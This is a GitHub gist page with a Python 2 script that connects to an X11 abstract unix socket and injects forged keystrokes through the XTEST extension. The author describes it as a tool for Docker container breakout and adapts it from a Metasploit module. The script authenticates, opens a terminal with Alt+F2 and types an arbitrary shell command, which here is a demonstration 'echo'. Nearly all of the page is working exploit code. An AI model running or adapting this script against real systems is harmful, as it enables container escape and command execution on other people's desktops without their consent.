-
-
Save rwincey/bc7d0b864c618a4cc930d590eae77b13 to your computer and use it in GitHub Desktop.
Python script to do keystrokes via X11 abstract socket. Useful for silly docker breakout.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
""" | |
Python script to connect to an abstract unix socket created by X11 and send arbitrary key-strokes. | |
Created by: [email protected] | |
Credits to: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/x11/x11_keyboard_exec.rb | |
Borrowed heavily from the original metasploit module. Thanks! | |
""" | |
from socket import * | |
import subprocess | |
import os | |
import binascii | |
import time | |
# Create an unbond and not-connected socket. | |
sock = socket(AF_UNIX, SOCK_STREAM) | |
sock.connect("\0/tmp/.X11-unix/X0") | |
#sock.connect("\0dockerlogger") | |
def xexit(): | |
sock.close() | |
exit(1) | |
def press_key(key): | |
req = keyboard_code() | |
req += xtest_opcode | |
req += "\x02" # Extension minor: 2 (FakeInput) | |
req += "\x09\x00" # Request length: 9 | |
req += "\x02" # Press key (Type: 2) | |
req += key # What key to press | |
req += "\x04\x00" # Unused? | |
req += "\x00\x00\x00\x00" # Time | |
req += "\x00\x00\x00\x00" # Root | |
req += "\x07\x00\x07\x00" # Unused? | |
req += "\x88\x04\x02\x00" # Unused? | |
req += "\x00\x00" # rootX: 0 | |
req += "\x00\x00" # rootY: 0 | |
req += "\x00\x00\x00\x00" # Unused? | |
req += "\x00\x00\x00" # Unused? | |
req += "\x00" # deviceid: 0 | |
req += keyboard_code() | |
req += "\x2b" # Opcode 43: GetInputFocus | |
req += "\x00" # Unused | |
req += "\x01\x00" # Request length: 1 | |
msg = sendmsg(req) | |
# When the socket is closed cleanly, recv unblocks and returns "" | |
if msg[0] != '\x01': | |
print "[x] Couldn't Authenticate" | |
xexit() | |
def release_key(key): | |
req = keyboard_code() | |
req += xtest_opcode | |
req += "\x02" # Extension minor: 2 (FakeInput) | |
req += "\x09\x00" # Request length: 9 | |
req += "\x03" # Press key (Type: 2) | |
req += key # What key to press | |
req += "\x04\x00" # Unused? | |
req += "\x00\x00\x00\x00" # Time | |
req += "\x00\x00\x00\x00" # Root | |
req += "\x07\x00\x07\x00" # Unused? | |
req += "\x88\x04\x02\x00" # Unused? | |
req += "\x00\x00" # rootX: 0 | |
req += "\x00\x00" # rootY: 0 | |
req += "\x00\x00\x00\x00" # Unused? | |
req += "\x00\x00\x00" # Unused? | |
req += "\x00" # deviceid: 0 | |
req += keyboard_code() | |
req += "\x2b" # Opcode 43: GetInputFocus | |
req += "\x00" # Unused | |
req += "\x01\x00" # Request length: 1 | |
msg = sendmsg(req) | |
# When the socket is closed cleanly, recv unblocks and returns "" | |
if msg[0] != '\x01': | |
print "[x] Couldn't Authenticate" | |
xexit() | |
def keyboard_code(): | |
req = "" | |
req += xkbd_opcode | |
req += "\x05" # Extension minor: 5 (LatchLockState) | |
req += "\x04\x00" # Request length: 4 | |
req += "\x00\x01" # DeviceSpec: 0x0100 (256) | |
req += "\x00" # affectModLocks: 0 | |
req += "\x00" # modLocks: 0 | |
req += "\x01" # lockGroup: True | |
req += "\x00" # groupLock: 0 | |
req += "\x00" # affectModLatches: 0 | |
req += "\x00" # Unused | |
req += "\x00" # latchGroup: False | |
req += "\x00\x00" # groupLatch: 0 | |
req += "\x00" # Undecoded | |
return req | |
keys={'1':"\x0a",'2':"\x0b",'3':"\x0c",'4':"\x0d",'5':"\x0e",'6':"\x0f",'7':"\x10",'&':"\x10",'8':"\x11",'9':"\x12",'(':"\x12",'0':"\x13",')':"\x13",'-':"\x14",'=':"\x15",'q':"\x18",'w':"\x19",'e':"\x1a",'r':"\x1b",'t':"\x1c",'y':"\x1d",'u':"\x1e",'i':"\x1f",'o':"\x20",'p':"\x21",'[':"\x22",'{':"\x22",']':"\x23",'}':"\x23",'a':"\x26",'s':"\x27",'d':"\x28",'f':"\x29",'g':"\x2a",'h':"\x2b",'j':"\x2c",'k':"\x2d",'l':"\x2e",';':"\x2f",':':"\x2f","'":"\x30",'"':"\x30",'`':"\x31",'~':"\x31",'lshift':"\x32",'\\':"\x33",'|':"\x33",'z':"\x34",'x':"\x35",'c':"\x36",'v':"\x37",'b':"\x38",'n':"\x39",'m':"\x3a",',':"\x3b",'<':"\x3b",'.':"\x3c",'>':"\x3c",'/':"\x3d",'*':"\x3f",'alt':"\x40",' ':"\x41",'f2':"\x44"} | |
def typecommand(cmd): | |
for x in cmd: | |
#check if special key.. <>{}|"&() | |
if x in ['<','>','{','}','{','}','|','"','&','(',')']: | |
press_key(keys['lshift']) | |
press_key(keys[x]) | |
release_key(keys[x]) | |
release_key(keys['lshift']) | |
#check if uppercase | |
elif x >= 'A' and x <= 'Z': | |
press_key(keys['lshift']) | |
press_key(keys[x.lower()]) | |
release_key(keys[x.lower()]) | |
release_key(keys['lshift']) | |
else: | |
press_key(keys[x]) | |
release_key(keys[x]) | |
press_key("\x24") # [enter] | |
release_key("\x24") | |
def sendmsg(msg): | |
resp = "" | |
sock.send(msg) | |
while 1: | |
data = sock.recv(128) | |
if not data: break | |
resp += data | |
if len(data) < 128: break | |
return resp | |
# Send reply | |
msg = sendmsg("\x6c\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00") | |
# When the socket is closed cleanly, recv unblocks and returns "" | |
if msg[0] != '\x01': | |
print "[x] Couldn't Authenticate" | |
xexit() | |
else: | |
print "[*] Woop! We authed..." | |
#Send keyboard registration | |
msg = sendmsg("\x62\x00\x05\x00\x09\x00\x60\x03XKEYBOARD\x00\x00\x00") | |
if msg[0] != '\x01': | |
print "[x] Keyboard Registration failed" | |
print binascii.hexlify(msg) | |
xexit() | |
#extract keyboard opcode | |
xkbd_opcode = msg[9] | |
#send info request | |
msg = sendmsg(xkbd_opcode+"\x00\x02\x00\x01\x00\x00\x00") | |
if msg[0] != '\x01': | |
print "[x] Keyboard info failed" | |
print binascii.hexlify(msg) | |
xexit() | |
else: | |
print "[*] Woop! Keyboard info" | |
sock.send("\x62\x00\x06\x00\x0f\x00\x00\x00XInputExtension\x00") | |
msg = sock.recv(2048) | |
if msg[0] != '\x01': | |
print "[x] Input extension" | |
print binascii.hexlify(msg) | |
xxexit() | |
sock.send("\x62\x00\x04\x00\x05\x00\x00\x00XTEST\x00\x00\x00") | |
msg = sock.recv(2048) | |
if msg[0] != '\x01': | |
print "[x] Test failed" | |
xexit() | |
#extract test opcode | |
xtest_opcode = msg[9] | |
msg = sendmsg("\x62\x00\x08\x00\x17\x00\x00\x00Generic Event Extension\x00") | |
if msg[0] != '\x01': | |
print "[x] Event Extension failed" | |
print binascii.hexlify(msg) | |
xexit() | |
#extract generic event opcode | |
xgevt_opcode = msg[9] | |
msg = sendmsg(xgevt_opcode+"\x00\x02\x00\x01\x00\x00\x00") | |
if msg[0] != '\x01': | |
print "[x] Opcode generic failed" | |
print binascii.hexlify(msg) | |
xexit() | |
msg = sendmsg(xtest_opcode+"\x00\x02\x00\x02\x00\x02\x00") | |
if msg[0] != '\x01': | |
print "[x] Opcode test failed" | |
print binascii.hexlify(msg) | |
xexit() | |
#Get keyboard mapping | |
msg = sendmsg("\x65\x00\x02\x00\x08\xf8\x02\x00") | |
if msg[0] != '\x01': | |
print "[x] Get Keyboard mapping test failed" | |
print binascii.hexlify(msg) | |
xexit() | |
#Get x11 details | |
msg = sendmsg(xkbd_opcode+"\x08\x07\x00\x00\x01\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") | |
if msg[0] != '\x01': | |
print "[x] Keyboard info failed" | |
xexit() | |
print "[*] Woop! Sending Commands" | |
press_key('\x40') | |
press_key('\x44') | |
release_key('\x40') | |
release_key('\x44') | |
time.sleep(1) | |
typecommand("xfce4-terminal") | |
time.sleep(1) | |
typecommand("echo \"HelLO\"") | |
# Close it | |
sock.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment